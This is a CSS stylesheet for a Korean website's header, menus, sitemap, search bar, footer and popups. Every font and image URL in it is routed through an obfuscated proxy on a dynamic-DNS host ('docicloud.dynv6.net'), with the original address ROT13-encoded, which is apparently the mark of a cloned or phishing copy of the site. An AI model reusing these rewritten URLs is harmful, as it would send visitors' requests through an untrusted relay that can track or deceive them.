@charset "UTF-8";

@font-face {
    font-family: 'GmarketSans_l';
    font-style: normal;
    src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spqa.wfqryvie.arg%2Stu%2Sjrosbagjbeyq%2Stznexrg%2STznexrgFnafYvtug.rbg');
    src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spqa.wfqryvie.arg%2Stu%2Sjrosbagjbeyq%2Stznexrg%2STznexrgFnafYvtug.rbg%3S%23vrsvk##iefix') format('embedded-opentype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spqa.wfqryvie.arg%2Stu%2Sjrosbagjbeyq%2Stznexrg%2STznexrgFnafYvtug.jbss2') format('woff2'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spqa.wfqryvie.arg%2Stu%2Sjrosbagjbeyq%2Stznexrg%2STznexrgFnafYvtug.jbss') format('woff'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spqa.wfqryvie.arg%2Stu%2Sjrosbagjbeyq%2Stznexrg%2STznexrgFnafYvtug.ggs') format("truetype");
    font-display: swap;
    }
    @font-face {
    font-family: 'GmarketSans_m';
    font-style: normal;
    src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spqa.wfqryvie.arg%2Stu%2Sjrosbagjbeyq%2Stznexrg%2STznexrgFnafZrqvhz.rbg');
    src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spqa.wfqryvie.arg%2Stu%2Sjrosbagjbeyq%2Stznexrg%2STznexrgFnafZrqvhz.rbg%3S%23vrsvk##iefix') format('embedded-opentype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spqa.wfqryvie.arg%2Stu%2Sjrosbagjbeyq%2Stznexrg%2STznexrgFnafZrqvhz.jbss2') format('woff2'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spqa.wfqryvie.arg%2Stu%2Sjrosbagjbeyq%2Stznexrg%2STznexrgFnafZrqvhz.jbss') format('woff'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spqa.wfqryvie.arg%2Stu%2Sjrosbagjbeyq%2Stznexrg%2STznexrgFnafZrqvhz.ggs') format("truetype");
    font-display: swap;
    }
    @font-face {
    font-family: 'GmarketSans_b';
    font-style: normal;
    src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spqa.wfqryvie.arg%2Stu%2Sjrosbagjbeyq%2Stznexrg%2STznexrgFnafObyq.rbg');
    src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spqa.wfqryvie.arg%2Stu%2Sjrosbagjbeyq%2Stznexrg%2STznexrgFnafObyq.rbg%3S%23vrsvk##iefix') format('embedded-opentype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spqa.wfqryvie.arg%2Stu%2Sjrosbagjbeyq%2Stznexrg%2STznexrgFnafObyq.jbss2') format('woff2'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spqa.wfqryvie.arg%2Stu%2Sjrosbagjbeyq%2Stznexrg%2STznexrgFnafObyq.jbss') format('woff'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spqa.wfqryvie.arg%2Stu%2Sjrosbagjbeyq%2Stznexrg%2STznexrgFnafObyq.ggs') format("truetype");
    font-display: swap;
    }
    
    
    .headerWrap{width:100%;position: relative;top: 0;z-index: 9; background: #fff; }
    .headerWrap .logo{
    position: relative;
    width: 166px;
    padding: 0;
    }

    .h_sub_list a[target="_blank"]::after, .m_gnbS a[target="_blank"]::after, .sm_wrap a[target="_blank"]::after, .s_sub_list a[target="_blank"]::after {
        content: "";
        background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgrnz.xbfnp.er.xe%2S_fgngvp%2Sfgrnz%2Svzt%2Sfho%2Sfvgr_zbir_oynpx.cat);
        width: 13px; height: 13px; 
        display: inline-block;
        margin-left: 8px; 
    }
.headerWrap .logo > a{display: block;}
.headerWrap .logo > a img{display: block; width: 100%; height: 100%;}

.headerWrap.scrolled{top: 0; transition: .3s ease-in-out; -ms-transition: .3s ease-in-out; -webkit-transition: .3s ease-in-out; position: fixed;}
.headerWrap.scrolled .header .ht-menu { display: none; }

.headerWrap.scrolled .logo{padding: 13.5px 0;}
.headerWrap.scrolled .headTop{display: none;}
.headerWrap.scrolled  .header {
    height: 86px;
}
.headerWrap.scrolled .header .gnbArea {
    height: 100%;
}

.headerWrap .headTop{max-width: 1300px;margin:0 auto;height: 129px;position: relative;}
/*상단 좌측*/
.head_side{overflow: hidden;}
.head_side > .side_icon{
    overflow: hidden;
    margin: 66px 0 0 0;
    display: none;
}

.head_side > .side_icon a:first-child{margin-left: 0;}
.head_side > .side_icon a{float: left;margin-left: 6px; display: block;}
.head_side ul{overflow: hidden;display: block;position: absolute;right: 0;bottom: 48px;}
.head_side ul li {position: relative;float: left; }
.head_side .side_menu li{margin-left: 15px; padding-right: 15px;}
.head_side .side_menu li:first-child{margin-left: 0;}
.head_side .side_menu li:after {content: '';width: 1px;height: 9px;position: absolute;top: 50%;right: 0px;background: #bdbdbd;margin: -3px 0 0;}
.head_side .side_menu li:last-child{padding-right: 0;}
.head_side .side_menu li:last-child:after{display: none;}
.head_side .side_menu li a  {
    display: block;
    color: #494949;
    font-size: 0.938em;
    line-height: 1;
}

/*상단 검색*/
.search_top{overflow: hidden;position: absolute;left: 0;bottom: 39px;}
.search_top > a{display: block;float: left;border: 1px solid #e3e3e3;border-radius: 30px;padding: 5px 20px 6px;margin-right: 5px; background: #fff;}
.search_top > a:before{
    content: '';
    display: inline-block;
    background-repeat: no-repeat;
    background-position: center left;
    vertical-align: middle;
    margin-right: 10px;
}
.search_top > a:nth-child(1):before {
    background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgrnz.xbfnp.er.xe%2S_fgngvp%2Sfgrnz%2Svzt%2Spbzzba%2Sfvqr_vpba1.cat);
    width: 20px;
    height: 20px;
}
.search_top > a:nth-child(2):before {
    background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgrnz.xbfnp.er.xe%2S_fgngvp%2Sfgrnz%2Svzt%2Spbzzba%2Sfvqr_vpba2.cat);
    width: 24px;
    height: 22px;
}
.search_top > a:nth-child(3):before {
    background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgrnz.xbfnp.er.xe%2S_fgngvp%2Sfgrnz%2Svzt%2Spbzzba%2Sfvqr_vpba3.cat);
    width: 21px;
    height: 19px;
}

.search_top > a > span{
    display: inline-block;
    vertical-align: middle;
    font-size: 0.875em;
    margin-bottom: 2px;
}

.headerWrap .header{ position: relative; border-width: 1px 0 0;background: #fff; height: 116px; }
.headerWrap .header .ht-menu {
    width: 100%;
    height: 30px;
    background: #fafafa;
    transition: all 300ms;
    margin-top: 0;
}
.headerWrap .header .ht-menu ul {
    display: flex;
    justify-content: right;
    /* width: calc(100% - 255px); */
    width: 100%;
    max-width: 1400px;
    margin: 0 auto;
}
.headerWrap .header .ht-menu ul li {
    line-height: 30px;
}
.headerWrap .header .ht-menu li:first-child::after {
    content: "│";
    padding: 0 15px;
}


.headerWrap .header .gnbArea{height: calc(100% - 30px); width: 100%;max-width: 1400px; margin:0 auto;position:relative;z-index: 2; display: flex; align-items: center;}
.headerWrap .header .gnbArea .logo_m{ display: block; position: absolute; top: 16px; left: 0; }
/*gnb*/
.headerWrap .header .gnbArea .gnb{ display: flex;justify-content: space-between; width: 100%; padding: 0 5%; flex:1;}

.headerWrap .header .gnbArea .gnb>li{ width: auto; }
.headerWrap .header .gnbArea .gnb>li>a{
    display:block;
    font-size: 20px;
    color: #000;
    font-weight: 400;
    text-align: center;
    line-height: 1;
    position: relative;
    padding: 20px;
    font-family: 'GmarketSans_m', sans-serif;
    transform: rotate(-0.04deg);
}
.headerWrap .header .gnbArea .gnb > li > a.on {
    color: var(--maincolor);
}

.headerWrap .header .gnbArea .gnb > li > a > span{display: inline-block; position: relative;}
.headerWrap .header .gnbArea .gnb > li > a > span:before{
    content: '';
    display: block;
    position: absolute;
    bottom: -10px;
    left: 50%;
    width: 0;
    border-bottom: 2px solid var(--maincolor);
    -webkit-transition: all 0.3s;
    -moz-transition: all 0.3s;
    transition: all 0.3s;
    transform: translate(-50%,0);
    -ms-transform: translate(-50%,0);
    -webkit-transform: translate(-50%,0);
}
.headerWrap .header .gnbArea .gnb > li > a.on > span:before {
    width: 100%;
}
.headerWrap .header .gnbArea .gnb .gnbS{display: none;}
.headerWrap .header .gnbArea .gnb .gnbS.on{display: block;}

.header .gnbArea .gnb > li .dropdown.on{display: block;}
.header .gnbArea .gnb > li.active .dropdown{display: block;}


.dropdown{display: none;position: absolute;top: 86px;width: 100%;left: 0;overflow: hidden;transition: 1s;}
.dropdown.on{display: block; height: auto;}
.dropdown .head{ width: 280px;padding: 30px 30px 0 0;height: 100%; position: absolute;top: 0;left: 0; }
.dropdown .head .tit{
   display: block;
   font-size: 1.938em;
   line-height: 1;
   font-weight: 500;
   color: #121212;
   letter-spacing: 0;
}
.dropdown .head .description{ display: block; line-height: 1.4;font-size: 1em;font-weight: 300;color: #676767;margin-top: 16px;word-break: keep-all;}
.dropdown .head .description span { display: block; white-space: pre-line; font-size: 15px; color: #777; line-height: 1.5; margin-top: 15px; font-weight: 400;}
.dropdown .body{ padding-left: 256px; min-height: 405px;}
.dropdown .body .list{overflow: hidden;padding: 30px 0 30px 19px;}
.dropdown .body .list > li{height: 100%;margin-right: 2.26%;float: left;width: 23.3%;min-height: 62px;margin-bottom: 10px;}
.dropdown .body .list > li:nth-child(4n){margin-right: 0;}
.dropdown .body .list > li .tit > a{text-align: center;display: block;color: #222;font-size: 1em;padding: 8px 10px; border-radius: 4px; border: 1px solid #dcdcdc; position: relative; font-weight: 500;}
.dropdown .body .list > li .tit > a.on{ border-color: var(--maincolor); color: var(--maincolor);}
.dropdown .body .list > li .tit > a img{margin-left: 6px; vertical-align: middle; margin-bottom: 2px;}
.dropdown .body .list > li .h_sub_list{padding: 15px 0 15px 8px;}
.dropdown .body .list > li .h_sub_list li{ text-align: left; position: relative; padding-left: 12px; margin-top: 10px; }
.dropdown .body .list > li .h_sub_list li:first-child{margin-top: 0;}
.dropdown .body .list > li .h_sub_list li:before{
    content: '';
    display: inline-block;
    position: absolute;
    top: 9px;
    left: 0;
    width: 4px;
    height: 4px;
    border-radius: 3px;
    background: #d7d7d7;
}
.dropdown .body .list > li .h_sub_list li a{font-size: 0.938em;color: #777;}
.dropdown .body .list > li .h_sub_list li a:hover, .dropdown .body .list > li .h_sub_list li a:focus{ color: var(--maincolor);}
.dropdown .body .list > li .h_sub_list li a img{margin-left: 6px; vertical-align: middle; margin-bottom: 2px;}

.dropdown .body .list > li:nth-child(4n){border-right: 0;  }
.dropdown .body .list > li:nth-child(-n+4){min-height: 250px; }

/* 네비-배너 */
.navBanner {
    padding-right: 5%;
    }
    .navBanner li {
    position: relative;
    }
    .navBanner li img.nBobj01,
    .navBanner li img.nBobj02,
    .navBanner li img.nBobj03
    {
    position: absolute;
    }
    .navBanner li img.nBobj01 {
    top: 6px;
    left: 33px;
    }
    .navBanner li img.nBobj02 {
    top: 10px;
    left: 55px;
    }
    .navBanner li img.nBobj03 {
    left: 0;
    mix-blend-mode: plus-lighter;
    opacity: 0.2;
    }
/*메뉴*/
.view_wrap{ position: relative; z-index: 1; }
.view_wrap .hamburger{background: transparent;font-size: 0;width: 22px;height: 20px; outline-offset: 6px;}
.hamburger .line{width: 22px;height: 3px;background-color: #000;display: block;margin-top: 6px;-webkit-transition: all 0.3s ease-in-out;-o-transition: all 0.3s ease-in-out;transition: all 0.3s ease-in-out;}
.hamburger .line:first-child{margin-top: 0;}
/* sitemap */
.menu_wrap{ display: none; }
.menu_wrap.on{
    display: block;
    position: fixed;
    top: 0;
    left: 0;
    height: 100%;
    width: 100%;
    background-color: rgba(0,0,0,.6);
    z-index: 999;
}
.site_area{
    position: absolute;
    top: 50%;
    left: 50%;
    display: block;
    width: 100%;
    height: 82%;
    max-width: 1200px;
    background: #fff;
    z-index: 2;
    transform: translate(-50%, -50%);
}
.site_area .container > .tit{
    color: #282828;
    font-size: 1.625em;
    line-height: 1;
    font-weight: 600;
    text-align: center;
    padding: 28px 0 18px;
    letter-spacing: 0;
    border-bottom: 1px solid;
}
.sitemap{display: none;}
.sitemap.on{position: fixed;top:0;left: 0;display: block;width: 100%;height: 100%;padding: 38px 0;background: #fff;overflow-y: auto; z-index: 2;}
.site_area > ul > li{position: relative;border-bottom: 1px solid #dddddd;padding: 26px 0;}
.site_area > ul > li:nth-child(7){border-bottom: 0;}
.site_area > ul > li > a{
 display: block;
 font-size: 1.375em;
 color: var(--maincolor);
 font-weight: 500;
 position: absolute;
 left: 19px;
}
.site_area > ul > li > a > span{position: relative; display: inline-block; padding: 31px 10px;}
.site_area > ul > li > a.on > span:after{content: ''; display: block; position: absolute; height: 3px; width: 100%; bottom: 0; background: #c2164d; left: 0;}
.site_area > ul > li > .site_gnb{ padding-left: 16.8%; overflow: hidden; }
.site_area > ul > li > .site_gnb > li{
    width: 25%;
    float: left;
    padding-left: 14px;
    position: relative;
}
.site_area > ul > li > .site_gnb > li:nth-child(5){
    clear: both;
    margin-top: 15px;
}
.site_area > ul > li > .site_gnb > li:nth-child(9){
   clear: both;
   margin-top: 15px;
}
.site_area > ul > li > .site_gnb > li:nth-child(13){
   clear: both;
   margin-top: 15px;
}
.site_area > ul > li > .site_gnb > li:nth-child(6){margin-top: 15px;}
.site_area > ul > li > .site_gnb > li:nth-child(7){margin-top: 15px;}
.site_area > ul > li > .site_gnb > li:nth-child(8){margin-top: 15px;}
.site_area > ul > li > .site_gnb > li:nth-child(10){margin-top: 15px;}
.site_area > ul > li > .site_gnb > li:nth-child(11){margin-top: 15px;}
.site_area > ul > li > .site_gnb > li:nth-child(12){margin-top: 15px;}
.site_area > ul > li > .site_gnb > li:nth-child(14){margin-top: 15px;}
.site_area > ul > li > .site_gnb > li:before{ position: absolute; content: ""; width: 4px; height: 4px; left: 0; top:10px; background-color: #00a188; display: block; border-radius: 50%; }
.site_area > ul > li > .site_gnb > li:first-child{margin-top: 0;}
.site_area > ul > li > .site_gnb > li > a{color: #2d2d2d;font-size: 1.125em;}
.site_area > ul > li > .site_gnb > li > a:hover, .site_area > ul > li > .site_gnb > li > a:focus{text-decoration: underline;}
.site_area > ul > li > .site_gnb > li > ul > li > a{font-size: 0.938em;position: relative;display: inline-block;vertical-align: middle; color: #565656;/* display: block; */}

.site_area > ul > li > .site_gnb > li > ul{padding-left: 4px;}
.site_area > ul > li > .site_gnb > li > ul > li > a:hover, .site_area > ul > li > .site_gnb > li > ul > li > a:focus{text-decoration: underline;}
.site_area > ul > li > .site_gnb > li > ul > li:first-child{margin-top: 5px;}
.site_area > ul > li > .site_gnb > li > ul > li{margin-top: 0px;padding-left: 8px;position: relative;}
.site_area > ul > li > .site_gnb > li > ul > li:before{content: ""; width: 4px; height: 1px; position: absolute; top: 13px; left: 0; background: #565656; display: block;}

.menu_wrap .site_top{
   text-align: center;
   padding: 17px;
   background: #f25574;
}
.menu_wrap .site_top img{width: 98px;}
.menu_wrap .site_top h2{
   font-size: 2em;
   color: #000;
}

.site_btm{
    margin: 0 auto;
    padding: 20px 40px;
    height: 88%;
    overflow-y: scroll;
}



.site_scroll > ul{margin-top: 10px; margin-right: 10px;}
.site_scroll > ul > li{
    padding-bottom: 25px;
    margin-bottom: 25px;
    position: relative;
}
.site_scroll > ul > li:after{
    content: '';
    display: block;
    /* background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgrnz.xbfnp.er.xe%2S_fgngvp%2Sfgrnz%2Svzt%2Sfho%2Sqbggr_vpba.cat) repeat-x; */
    border-bottom: 1px solid #dedede;
    width: 100%;
    height: 1px;
    position: absolute;
    bottom: 0;
    left: 0;
}
.site_scroll > ul > li:last-child{padding: 0; margin-bottom: 0;}
.site_scroll > ul > li:last-child:after{display: none;}
.site_scroll > ul > li:first-child{margin-top: 0;}

.site_scroll > ul > li > .tit {
    display: block;
    color: var(--maincolor);
    font-weight: 500;
    font-size: 22px;
    margin-bottom: 17px;
    padding-bottom: 17px;
    line-height: 1;
    border-bottom: 2px solid var(--maincolor);
    transform: rotate(-0.03deg);
}
.site_scroll > ul > li > .tit > i {
    font-size: 0.7em;
    position: relative;
    top: -3px;
    margin-right: 8px;
}
.site_scroll > ul > li > .site_gnb{
    display: flex;
    flex-wrap: wrap;
    gap:20px;
    padding: 0 20px;
}
.site_scroll > ul > li > .site_gnb > li{
    width: 18.4%;
}
.site_scroll > ul > li > .site_gnb > li:last-child {
    border-right: none;
}


.site_scroll > ul > li.not_list > .site_gnb > li{
    min-height: 50px;
 }
.site_scroll > ul > li > .site_gnb > li > a{
    background-position: center right 0;
    background-repeat: no-repeat;
    display: block;
    padding: 10px 0;
    position: relative;
    color: #3c3c3c;
    font-size: 0.938em;
    font-weight: 500;
    text-align: left;
}

.site_scroll > ul > li > .site_gnb > li.on > a{
    border-color: var(--maincolor);
}
.site_scroll > ul > li > .site_gnb > li > a:before{
    content: '';
    display: inline-block;
    border-radius: 50%;
    width: 3px;
    height: 3px;
    background: var(--maincolor);
    margin-right: 8px;
    vertical-align: middle;
}
.site_scroll > ul > li > .site_gnb > li > .s_sub_list {
    padding: 5px 15px;
}
.site_scroll > ul > li > .site_gnb > li > .s_sub_list > li{
    margin-top: 7px;
}
.site_scroll > ul > li > .site_gnb > li > .s_sub_list > li:first-child{margin-top: 0;}
.site_scroll > ul > li > .site_gnb > li > .s_sub_list > li > a{
    color: #777; position: relative; padding-left: 17px; font-size: 0.938em;
    display: block;
}
.site_scroll > ul > li > .site_gnb > li > .s_sub_list > li > a > img{vertical-align: middle;}

.site_scroll > ul > li > .site_gnb > li > .s_sub_list > li > a:focus{
    color: var(--maincolor);
    font-weight: 500;
}

.site_scroll > ul > li > .site_gnb > li > .s_sub_list > li > a:before{
    content: ''; display: block;
    position: absolute;
    top: 10px;
    left: 0;
    width: 7px;
    height: 2px;
    background: #777;
}
.site_c{position: absolute;right: 0;top: 0; width: 72px;height: 72px;}
.site_c.new{display: block;}
.site_c .cheese .line{width: 26px;height: 3px;background-color: #fff;display: block;margin-top: 5px;/* -webkit-transition: all 0.3s ease-in-out; -o-transition: all 0.3s ease-in-out; transition: all 0.3s ease-in-out; */}
.site_c .line:nth-child(1){-webkit-transform: translateY(8px) rotate(45deg);-ms-transform: translateY(8px) rotate(45deg);-o-transform: translateY(8px) rotate(45deg);transform: translateY(8px) rotate(45deg);background: #000;}
.site_c .line:nth-child(2){ opacity: 0;}
.site_c .line:nth-child(3){-webkit-transform: translateY(-8px) rotate(-45deg);-ms-transform: translateY(-8px) rotate(-45deg);-o-transform: translateY(-8px) rotate(-45deg);transform: translateY(-8px) rotate(-45deg);width: 26px;background: #000;}
.site_c .cheese{
    position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); -webkit-transform: translate(-50%, -50%);
}
.site_scroll > ul > li > .site_gnb > li > .s_sub_list > li > a:hover,
.site_scroll > ul > li > .site_gnb > li a:hover {
    color: var(--maincolor);
    font-weight: 500;
}


/*search*/
.search_wrap{display: none;position: absolute;top: 60px;left: 0;right: 0;z-index: 3;transition-property: top;transition-duration: 0.25s;transition-timing-function: ease-in-out;height: 188px; }

.ser_open_btn{position: absolute;right: 15px;top: 17px;z-index: 1;width: 26px;height: 26px;font-size: 0;}
.search_ver {display: block;position: absolute;top: 50%;left: 50%;overflow: hidden;width: 55.616%;height: 56px;border: 2px solid #4c4c4c;border-radius: 50px;background: #fff;z-index: 10;transform: translate(-50%,-50%);-ms-transform: translate(-50%,-50%);-webkit-transform: translate(-50%,-50%);}
.search_ver.skin2 .sch_slt{height: 44px; border: 0; border-right: 1px solid #cccccc; width: 136px; }
.search_ver .head_serch{display: inline-block;width: calc(100% - 141px); height: 54px;border: 0;margin-left: 0;padding: 0 10px 0 25px;font-size: 14px;color: #6b6b6b;}
.search_ver .btn_newserch{position: absolute;right: 16px;top: 50%; transform: translateY(-50%); width: 16px;height: 16px;display: block; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgrnz.xbfnp.er.xe%2S_fgngvp%2Sfgrnz%2Spff%2S..%2S..%2S..%2S_fgngvp%2Sfgrnz%2Svzt%2Spbzzba%2SfrnepuOg.cat) no-repeat 0 0;}



.search_wrap.search_on:before {content:'';display: block;position: absolute;top: 0;left: 50%;width: 100vw;height: 100%;margin-left: -50vw;background-color: #fff;border-top: 1px solid #e3e3e4;border-bottom: 1px solid #e3e3e4; z-index: 2;}

.search_wrap.search_on:after{
    content: "";
    display: block;
    position: fixed;
    top: 189px;
    left: 0;
    height: 100%;
    width: 100%;
    background-color: rgba(0,0,0,.6);
    z-index: 1;
}


/* m_menu */
.m_header{display: none;}
.mobFade{position:fixed; display: none; top:99px; left:0; width:100%; height:100%; background:rgba(0,0,0,5); opacity:0.8; z-index:3;}
.mobFade.on{display: block;}



/* .gnb_bg */
.gnb_bg {
	display: none;
	position: absolute;
	top: 115px;
	left: 0;
	z-index: -1;
	height: calc(100% - 180px);
	width: 100%;
	background: #fff !important;
	/* border-bottom: 1px solid #d4d4d4; */
	/* padding-bottom: 1px; */
	box-shadow: 0px 5px 5px rgb(0 0 0 / 7%);
	-webkit-box-shadow: 0px 5px 5px rgb(0 0 0 / 7%);
}
/* .gnb_bg.abc{
    top: 174px;
} */
.gnb_bg:before {
	content: '';
	display: block;
	position: absolute;
	top: 0;
	left: 0;
	height: 100%;
	width: 30%;
	background: #fff;
}



.gnb_bg.abc:before {
	content: '';
	display: block;
	position: absolute;
	top: 0;
	left: 0;
	height: 100%;
	width: 30%;
	background: #fff;
}

.headerWrap.scrolled .gnb_bg{top: 60px;}



/* quick_typeB */
.quick_typeB {
    position:absolute;
    top:0;
    display:block;
    right: 50px !important;
    z-index: 1;
    padding: 7px 15px;
    background: #fff;
    border: 1px solid #dcdcdc;
    border-radius: 5px;
    }
.quick_typeB .q_menu_list {overflow:hidden;float:left;display:block;}
/* .quick_typeB .q_menu_list li {margin-top: 1px;} */
.quick_typeB .q_menu_list li:first-child{margin-top: 0;}
.quick_typeB .q_menu_list li:first-child a{border-top: 0;}
.quick_typeB .q_menu_list li a{
 display: block;
 text-align: center;
 width: 31px;
 height: 59px;
 line-height: 57px;
 /* background: #fff; */
 border-top: 1px dashed #ddd;
}
.quick_typeB .q_menu_list li a img{
 display: inline-block;
 vertical-align: middle;
 line-height: 1;
}
.quick_typeB .q_menu_list li.q_tit {background: #191a1c; line-height: 50px; text-align: center;}






/*footer*/
.footer_btm li p > i {
    margin-right: 8px;
}
.footerWrap{position: relative; background: #353535; width: 100%; z-index: 2;}
.ft_inner {
    width: 95%;
    max-width: 1400px;
    margin: 0 auto;
}
/* footer_top */
.footer_top {
    padding: 30px 0;
    border-bottom: 1px solid #555;
}
.ft_inner {
    display: flex;
    justify-content: space-between;
}
.ft_inner > ul.data-gather {
    display: flex;
    flex-wrap: wrap;
    align-items: center;
}
.ft_inner > ul.data-gather li::after {
    content: "ㅣ";
    padding: 0 10px;
    color: #595959;
}

.ft_inner > ul.data-gather li:last-of-type::after {
    display: none;
}
.ft_inner a {
    color: #d5d5d5;
}
.ft_inner > ul.data-gather li:first-child a {
    font-weight: 600;
    color: #edd500;
}
.ft_inner > .familyWrap {
    width: 40%;
    max-width: 248px;
    position: relative;
}
.ft_inner > .familyWrap > .faBtn {
    border-radius: 30px;
    border: 1px solid #d5d5d5;
    font-size: 13px;
    display: block;
    transform: rotate(-0.03deg);
    text-indent: 2%;
    width: 100%;
    color: #d5d5d5;
    text-align: left;
    display: flex;
    justify-content: space-between;
    align-items: center;
    box-sizing: border-box;
    padding: 0 20px;
    line-height: 2.8;
}
.ft_inner > .familyWrap > .faBtn p {
    flex: 1;
}

.ft_inner > .familyWrap > .faBtn span img {
    transition: all 300ms ease-in-out;
    vertical-align: super;
}
.ft_inner > .familyWrap .FamilyList {
    position: absolute;
    bottom: calc(100% + 10px);
    display: none;
    background: #353535;
    color: #d5d5d5;
    border: 1px solid #d5d5d5;
    border-radius: 30px;
    width: 100%;
    padding: 20px 0;
    text-indent: 20px;
    overflow: hidden;
}
.ft_inner > .familyWrap > li:hover ul.FamilyList {
    display: block;
    position: absolute;
    bottom: 100%;
}
.ft_inner > .familyWrap ul.FamilyList > li {
    line-height: 2.5;
}
.ft_inner > .familyWrap ul.FamilyList > li:hover {
    background: #242424;
}

/* footer_btm */
.footer_btm {position: relative; padding: 40px 0; max-width: 1400px; margin: 0 auto; display: flex; justify-content: space-between; gap: 100px; width: 95%;}
.footer_btm * { color: #d5d5d5; }
.footer_btm .footer{max-width: 1300px; margin: 0 auto; position: relative;}
.footer_btm .flogo {
    width: fit-content;
}
.footer_btm .fcall { position: relative; transition: color 500ms background-color 500ms; }
.footer_btm .fcall:hover * { color: #eee; }
.footer_btm .fcall:hover::before { background-color: #eee; }
.footer_btm .fcall::before {
    background: #d5d5d5 url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgrnz.xbfnp.er.xe%2S_fgngvp%2Sfgrnz%2Spff%2S..%2Svzt%2Spbzzba%2Ss_pnyy.fit) no-repeat center center;
    width: 25px;
    height: 25px;
    background-size: 25px;
    padding: 15px;
    content: "";
    position: absolute;
    left: -70px;
    border-radius: 100%;
}
.footer_btm .fcall p { font-size: 15px; }
.footer_btm .fcall strong { font-size: 28px; font-weight: 600;}

.footer_btm .address { flex: 1; }
.footer_btm .address li {
    display: flex;
    gap: 30px;
    font-size: 15px;
    line-height: 1.8;
/*     text-indent: -10px;
    margin-left: 21px; */
}
.footer_btm .address > p { color: #999; }
.footer_menu{
    max-width: 1300px;
    width: 280px;
    height: 40px;
    background: #fff;
    padding: 10px 0;
    border-radius: 9px;
    border: none;
}
.footer_menu .footer_list{ overflow: hidden;}
.footer_menu .footer_list li{float: left;position: relative;padding: 0 16px;}
.footer_menu .footer_list li:first-child { padding-left: 40px; }
.footer_menu .footer_list li:first-child:after{display: none;}
.footer_menu .footer_list li:after {content: '';width: 2px;height: 2px;position: absolute;top: 60%;left: 0px;background: #6c6e74;margin: -4px 0 0; border-radius: 50%;}
.footer_menu .footer_list li:first-child a{color: #000; opacity: 0.8;}
.footer_menu .footer_list li a{display: block;color: #f87b24;letter-spacing: 0;font-size: 1em; font-weight: bold;}


.mft_list{display: none;}
.mft_list .foot_site_menu li a{color: #9c9ea2;}

/* footer_logo */
.footer .logo_m{display: none;}
.footLogo{
    position: absolute;
    bottom: 0;
    left: 0;
}

.footer { display: flex; justify-content: space-between; max-width: 1300px; margin: 0 auto; padding: 30px 0; }

.footer_area{ margin-top: 15px; }
.footer_area .footer_info p{color: #fff;margin-top: 5px;font-weight: 300;font-size: 0.875rem;letter-spacing: -0.025em;}
.footer_area .footer_info p:first-child{ margin-top: 0;}
.footer_area .footer_info p:last-child{ margin-top: 15px; color: #858585; font-size: 0.813rem; }

.footer_link_area { display: flex; flex-direction: column; }
.footer_link_area .footer_sns { display: flex; justify-content: end; margin: 0 0 22px; }
.footer_link_area .footer_sns a { margin-right: 10px; }
.footer_link_area .footer_sns a:last-child { margin-right: 0; }
.footer_link_area form select { background: transparent; border: 1px solid #fff; border-radius: 7px; color: #fff; padding: 13px 50px 13px 15px; }
.footer_link_area form select option { color: #000; }



    /*팝업*/
.modal{
    position: fixed;
    top: 0;
    right: 0;
    bottom: 0;
    left: 0;
    z-index: 1040;
    display: none;
    overflow: hidden;
    -webkit-overflow-scrolling: touch;
    outline: 0;
  }
  .fade.in {
    opacity: 1;
  }
  .modal-open .modal {
    overflow-x: hidden;
    overflow-y: auto;
  }
  .modal-dialog {
    max-width: 700px;
    margin: 30px auto;
  }
  .modal-dialog.type02{
    max-width: 1024px;
  }

  .popupWrap{
    background-color: transparent;
    box-shadow: 3.6px 3.6px 10px rgb(0 0 0 / 47%);
  }
  .modal.fade .modal-dialog{
    -webkit-transition: -webkit-transform .3s ease-out;
    -o-transition: -o-transform .3s ease-out;
    transition: transform .3s ease-out;
    -webkit-transform: translate(0,-25%);
    -ms-transform: translate(0,-25%);
    -o-transform: translate(0,-25%);
    transform: translate(0,-25%);
  }
  .modal.fade .modal-dialog{
    -webkit-transform: translate(0,0);
    -ms-transform: translate(0,0);
    -o-transform: translate(0,0);
    transform: translate(0,0);
  }

  .popupWrap h2{
    color: #fff;
    height: 60px;
    line-height: 60px;
    background-color: #f25574;
    text-align: center;
    border-radius: 6px 6px 0px 0px;
    font-weight: 500;
    font-size: 1.250em;
  }
  .popupWrap .popupContents.scroll{
    max-height: 500px;
